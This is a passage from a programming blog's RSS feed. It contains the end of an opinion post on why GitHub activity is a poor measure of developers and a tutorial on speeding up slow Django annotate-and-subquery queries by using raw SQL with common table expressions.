.google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;the-fear-of-getting-your-code-or-ideas-stolen&#34;&gt;The fear of getting your code or ideas stolen&lt;/h2&gt;&#xA;&lt;p&gt;Microsoft has never been known for its ethics when it comes to doing business, since its early days it has been involved in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.wired.com/2012/08/ms-dos-examined-for-thef/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;code theft related rampages&lt;/a&gt;&#xA;. It has also kept that reputation alive with scandals such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.ft.com/content/ab21f416-e9d1-11de-ae43-00144feab49a&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Microsoft copied code from a micro-blogging startup&lt;/a&gt;&#xA; and launched its own service.&lt;/li&gt;&#xA;&lt;li&gt;When its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://aibusiness.com/responsible-ai/github-s-ai-powered-coding-tool-allegedly-copied-code&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;AI, Github copilot, blatantly copied the code&lt;/a&gt;&#xA; of some researchers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Considering the above, and regardless of the veracity of the claims, &lt;strong&gt;I wouldn&amp;rsquo;t be surprised if some developers choose to keep their code out of the hands of Microsoft and its services,&lt;/strong&gt; Github included, of course.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/github-meme-invencibles.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/github-meme-invencibles.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;github meme&#34; width=&#34;852&#34; height=&#34;508&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Github meme&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;not-all-projects-are-on-github-bitbucket-gitlab-gitea-and-others-exist-too&#34;&gt;Not all projects are on Github, Bitbucket, Gitlab, Gitea and others exist too&lt;/h2&gt;&#xA;&lt;p&gt;Github is the de facto service for managing online repositories, but there are other options such as Bitbucket, Gitlab, Gitea, launchpad, which although lacking the size and number of services offered by Github, compensate with a better reputation.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/meme-github-gitlab.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/meme-github-gitlab.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme that originated after Microsoft&amp;#39;s purchase of Github&#34; width=&#34;680&#34; height=&#34;453&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Meme that originated after Microsoft&amp;rsquo;s purchase of Github&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Some developers prefer to use these alternatives as a response to Github&amp;rsquo;s monopoly or perhaps for reasons as banal as preferring one UI over another.&lt;/p&gt;&#xA;&lt;p&gt;Should Github projects be ignored then?, of course not! but judging a person&amp;rsquo;s capabilities just by the presence or absence of code on Github is just naive.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;If you are one of those who use Github contributions to evaluate your candidates, or clients, I&amp;rsquo;ll explain why it&amp;rsquo;s not necessarily a good idea.&lt;/p&gt;&#xA;&lt;p&gt;It is common practice to use Github to assess a developer&amp;rsquo;s capabilities, but to do so blindly, ignoring the following set of factors, would make your ignorance cost you access to candidates with greater potential and experience in the workings of the software world.&lt;/p&gt;&#xA;&lt;h2 id=&#34;an-empty-github-does-not-mean-someone-is-incompetent&#34;&gt;An empty github does not mean someone is incompetent.&lt;/h2&gt;&#xA;&lt;p&gt;&amp;ldquo;Absence of evidence is not evidence of absence&amp;rdquo; or, put in other words, just because a person doesn&amp;rsquo;t have excellent quality code on Github, doesn&amp;rsquo;t mean they can&amp;rsquo;t write it.&lt;/p&gt;</summary>
    </item>
    
    
    <item>
      <title>Fix slow queries in Django when using annotate and subqueries</title>
      <link>https://coffeebytes.dev/en/django/fix-slow-queries-in-django-when-using-annotate-and-subqueries/</link>
      <pubDate>Fri, 12 Jul 2024 23:51:01 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/django/fix-slow-queries-in-django-when-using-annotate-and-subqueries/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Django&amp;rsquo;s ORM is quite useful and versatile, it can perform most of the common SQL operations, such as filtering, partitioning, joins or sorting information, creating aliases, but it also has its limitations, especially when combined with subqueries, today I&amp;rsquo;ll tell you about one of its limitations and how to solve it.&lt;/p&gt;&#xA;&lt;p&gt;Despite its few weaknesses, its ORM is one of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;reasons why you should use Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-annotate-and-subqueries-a-performance-problem&#34;&gt;Django annotate and subqueries, a performance problem&lt;/h2&gt;&#xA;&lt;p&gt;The Django annotate function, which I already told you about in a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/&#34;&gt;post where I explain the differences between annotate and aggregate&lt;/a&gt;&#xA; in Django, is used to add information to a SQL query, this information can be some data&amp;rsquo;s average, a sum or anything else you want, the thing is that, once you start using subqueries in annotate, things can get really messy.&lt;/p&gt;&#xA;&lt;p&gt;Let me give you a more practical example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; F&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models.expressions &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Subquery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;first_subquery &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Subquery(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;second_subquery &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Subquery(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; YourModel&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(first_annotation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;first_subquery)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(second_annotation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;second_subquery)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        third_annotation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_subquery&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second_subquery&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fourth_annotation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;((F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_subquery&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second_subquery&amp;#34;&lt;/span&gt;)) &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second_subquery&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The problem here arises when we combine subqueries with annotate, and then proceed to use those annotations to fill other annotations. Yo dawg, I heard you like annotations so&amp;hellip; you get the idea, right?&lt;/p&gt;&#xA;&lt;p&gt;Django does not have the ability to recognize that it is using the subqueries over and over again, so the SQL it generates repeats the same subqueries over and over again, resulting in a poorly performing query; yes, we&amp;rsquo;re prey of the famous &lt;em&gt;n+1 queries&lt;/em&gt; problem.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;sql-generated-by-django-using-annotate-and-subqueries-is-inefficient&#34;&gt;SQL generated by Django using annotate and subqueries is inefficient.&lt;/h3&gt;&#xA;&lt;p&gt;But it becomes worse, where exactly is the problem? The django ORM translates the above queryset into the following SQL query:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; columns&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...first_subquery &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...second_subquery) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;third_annotation&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...first_subquery &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...second_subquery)&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...first_subquery) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fourth_annotation&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...first_subquery) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_annotation&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...second_subquery) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second_annotation&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; table_a &lt;span style=&#34;color:#ff6ac1&#34;&gt;LEFT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;OUTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; table_b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; table_a.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; table_b.id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;GROUP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;BY&lt;/span&gt; table_a.id ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how Django is reusing the SQL from each subquery multiple times during the query, instead of performing the query once and then reusing that value.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know how to get the SQL query that Django&amp;rsquo;s ORM generates, I remind you, &lt;em&gt;qs&lt;/em&gt; represents your queryset:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(qs&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;How to fix this mess? Well, one of the ways to fix this SQL query is to use Common Table Expressions (CTEs), however, as of this writing, &lt;strong&gt;Django does not support Common Table Expressions (CTEs)&lt;/strong&gt;, so we will have to use a raw query instead of the methods already provided by the Django ORM.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;use-common-table-expressions-ctes-to-improve-annotate-and-subqueries-performance&#34;&gt;Use Common Table Expressions (CTEs) to improve annotate and subqueries performance.&lt;/h2&gt;&#xA;&lt;p&gt;The solution is to create a raw query, but it&amp;rsquo;s not that bad as it looks, remember that modern versions of django allow you to use the raw method of your &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-custom-manager-django/&#34;&gt;model manager&lt;/a&gt;&#xA; so that Django automatically assigns it to a queryset object of your respective model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;qs &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; YourModel&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;raw(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;YOUR_SQL_RAW_QUERY_GOES_HERE&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The SQL query with the Common Table Expressions (CTEs) that we will use would look like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;WITH&lt;/span&gt; my_cte &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        a.&lt;span style=&#34;color:#ff6ac1&#34;&gt;column&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...subquery_one) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; first_annotation,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...subquery_two) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; second_annotation&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; table_a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;LEFT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;OUTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; table_b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; table_a.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; table_b.id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;GROUP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;BY&lt;/span&gt; table_a.id ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    columns,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    first_annotation,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    second_annotation,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    first_annotation &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; second_annotation &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; third_annotation,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (first_annotation &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; second_annotation)&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;first_annotation &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; fourth_annotation&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_cte;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, look! As you can see the subqueries are in parentheses and each of them appears only once.&lt;/p&gt;&#xA;&lt;p&gt;Using Common Table Expressions (CTEs) allowed to use an efficient query, avoiding multiple repetitive queries to the database and will give us a performance that outperforms the Django ORM&amp;rsquo;s query by several orders of magnitude (I managed to reduce a few queries&amp;rsquo; execution time from 13 seconds to just 0.7 seconds).&lt;/p&gt;&#xA;&lt;p&gt;Until Django adds support for CTEs we are doomed to implement CTEs manually instead of using the ORM. Perhaps implementing CTEs is one of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/&#34;&gt;actions that can be taken to improve Django&amp;rsquo;s framework.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
